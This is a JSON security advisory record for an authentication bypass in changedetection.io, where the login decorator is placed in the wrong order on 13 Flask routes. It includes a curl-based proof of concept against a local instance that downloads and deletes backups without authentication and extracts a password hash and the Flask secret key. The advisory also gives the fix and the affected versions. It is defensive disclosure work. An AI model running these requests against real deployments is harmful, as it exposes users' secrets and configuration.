{"id":"GHSA-jmrh-xmgh-x9j4","summary":"changedetection.io Vulnerable to Authentication Bypass via Decorator Ordering","details":"### Summary\n\nOn 13 routes across 5 blueprint files, the `@login_optionally_required` decorator is placed **before** (outer to) `@blueprint.route()` instead of after it. In Flask, `@route()` must be the outermost decorator because it registers the function it receives. When the order is reversed, `@route()` registers the **original undecorated function**, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.\n\nThe developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.\n\n### Details\n\n**Correct order (used on 30+ routes):**\n```python\n@blueprint.route('/settings', methods=['GET'])\n@login_optionally_required\ndef settings():\n    ...\n```\n\n**Incorrect order (13 vulnerable routes):**\n```python\n@login_optionally_required          # ← Applied to return value of @route, NOT the view\n@blueprint.route('/backups/download/\u003cfilename\u003e')  # ← Registers raw function\ndef download_backup(filename):\n    ...\n```\n\n## POC\n```\n=== PHASE 1: Confirm Authentication is Required ===\n\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/\nMain page:     HTTP 302 -\u003e http://127.0.0.1:5557/login?next=/\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/settings\nSettings page: HTTP 302 (auth required, redirects to login)\n\nPassword is set. Unauthenticated requests to / and /settings\nare properly redirected to /login.\n\n=== PHASE 2: Authentication Bypass on Backup Routes ===\n(All requests made WITHOUT any session cookie)\n\n--- Exploit 1: Trigger backup creation ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/request-backup\nResponse: HTTP 302 -\u003e http://127.0.0.1:5557/backups/\n(302 redirects to /backups/ listing page, NOT to /login -- backup was created)\n\n--- Exploit 2: List backups page ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/\nResponse: HTTP 200\n\n--- Exploit 3: Extract backup filenames ---\n$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup\nFound: changedetection-backup-20260331005425.zip\n\n--- Exploit 4: Download backup without authentication ---\n$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip\nResponse: HTTP 200\n\n$ file /tmp/stolen_backup.zip\n/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate\n\n$ ls -la /tmp/stolen_backup.zip\n-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip\n\n$ unzip -l /tmp/stolen_backup.zip\nArchive:  /tmp/stolen_backup.zip\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n    26496  2026-03-31 00:54   url-watches.json\n       64  2026-03-31 00:52   secret.txt\n       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt\n     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br\n     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br\n       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt\n    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br\n       73  2026-03-31 00:54   url-list.txt\n      155  2026-03-31 00:54   url-list-with-tags.txt\n---------                     -------\n   114721                     10 files\n\n--- Exploit 5: Extract sensitive data from backup ---\nApplication password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...\nWatched URLs:\n  - https://news.ycombinator.com/  (UUID: 4ff247a9...)\n  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)\n\nFlask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6\n\n--- Exploit 6: Delete all backups without auth ---\n$ curl -s -o /dev/null -w \"%{http_code}\" http://127.0.0.1:5557/backups/remove-backups\nResponse: HTTP 302\n\n=== PHASE 3: Cross-Verification ===\n\nVerify protected routes still require auth:\n  /         -\u003e HTTP 302 (302 = protected)\n  /settings -\u003e HTTP 302 (302 = protected)\n\n=== RESULTS ===\n\nPROTECTED routes (auth required, HTTP 302 -\u003e /login):\n  /              HTTP 302\n  /settings      HTTP 302\n\nBYPASSED routes (no auth needed):\n  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)\n  /backups/                HTTP 200 (lists all backups)\n  /backups/download/\u003cfile\u003e HTTP 200 (downloads backup with secrets)\n  /backups/remove-backups  HTTP 302 (deletes all backups)\n\n[+] CONFIRMED: Authentication bypass on backup routes!\n```\n\n### Impact\n\n- **Complete data exfiltration** — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration\n- **Backup restore = config injection** — Attacker can upload a malicious backup with crafted watch configs\n- **SSRF** — Proxy check endpoint can be triggered to scan internal network\n- **Browser session hijacking** — Browser steps endpoints allow controlling Playwright sessions\n\n### Remediation\n\nSwap the decorator order on all 13 routes. `@blueprint.route()` must be outermost:\n\n```python\n# Before (VULNERABLE):\n@login_optionally_required\n@blueprint.route('/backups/download/\u003cfilename\u003e')\ndef download_backup(filename):\n\n# After (FIXED):\n@blueprint.route('/backups/download/\u003cfilename\u003e')\n@login_optionally_required\ndef download_backup(filename):\n```","aliases":["CVE-2026-35490","PYSEC-2026-28"],"modified":"2026-06-05T14:30:12.652829317Z","published":"2026-04-06T18:00:01Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-06T18:00:01Z","nvd_published_at":"2026-04-07T16:16:27Z","cwe_ids":["CWE-863"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-jmrh-xmgh-x9j4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35490"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/commit/31a760c2147e3e73a403baf6d7de34dc50429c85"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"},{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.8"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-28.yaml"}],"affected":[{"package":{"name":"changedetection-io","ecosystem":"PyPI","purl":"pkg:pypi/changedetection-io"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.54.8"}]}],"versions":["0.38.2","0.39","0.39.1","0.39.10","0.39.10.post1","0.39.10.post2","0.39.11","0.39.12","0.39.13","0.39.13.1","0.39.14","0.39.14.1","0.39.15","0.39.16","0.39.17","0.39.17.1","0.39.17.2","0.39.18","0.39.19","0.39.19.1","0.39.2","0.39.20","0.39.20.1","0.39.20.2","0.39.20.3","0.39.20.4","0.39.21","0.39.21.1","0.39.22","0.39.22.1","0.39.3","0.39.4","0.39.5","0.39.6","0.39.7","0.39.8","0.39.9","0.40.0","0.40.0.1","0.40.0.2","0.40.0.3","0.40.0.4","0.40.1.0","0.40.1.1","0.40.2","0.40.3","0.41","0.41.1","0.42","0.42.1","0.42.2","0.42.3","0.43.1","0.43.2","0.44","0.44.1","0.45","0.45.1","0.45.11","0.45.12","0.45.13","0.45.14","0.45.15","0.45.16","0.45.17","0.45.18","0.45.19","0.45.2","0.45.20","0.45.21","0.45.22","0.45.23","0.45.24","0.45.25","0.45.26","0.45.3","0.45.4","0.45.5","0.45.6","0.45.7","0.45.7.1","0.45.7.2","0.45.7.3","0.45.8","0.45.8.1","0.45.9","0.46.0","0.46.1","0.46.2","0.46.3","0.46.4","0.47.0","0.47.1","0.47.2","0.47.3","0.47.4","0.47.5","0.47.6","0.48.0","0.48.1","0.48.2","0.48.3","0.48.4","0.48.5","0.48.6","0.49.0","0.49.1","0.49.10","0.49.12","0.49.13","0.49.14","0.49.15","0.49.16","0.49.17","0.49.18","0.49.2","0.49.3","0.49.4","0.49.5","0.49.6","0.49.7","0.49.8","0.49.9","0.50.1","0.50.10","0.50.11","0.50.12","0.50.13","0.50.14","0.50.15","0.50.16","0.50.17","0.50.18","0.50.19","0.50.2","0.50.20","0.50.21","0.50.22","0.50.23","0.50.24","0.50.25","0.50.26","0.50.27","0.50.28","0.50.29","0.50.3","0.50.30","0.50.31","0.50.32","0.50.33","0.50.34","0.50.35","0.50.37","0.50.38","0.50.39","0.50.4","0.50.40","0.50.41","0.50.42","0.50.43","0.50.5","0.50.6","0.50.7","0.50.8","0.50.9","0.51.0","0.51.1","0.51.2","0.51.3","0.51.4","0.52.1","0.52.2","0.52.3","0.52.4","0.52.5","0.52.6","0.52.7","0.52.8","0.52.9","0.53.1","0.53.2","0.53.3","0.53.4","0.53.5","0.53.6","0.53.7","0.54.1","0.54.2","0.54.3","0.54.4","0.54.5","0.54.6","0.54.7"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.54.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jmrh-xmgh-x9j4/GHSA-jmrh-xmgh-x9j4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}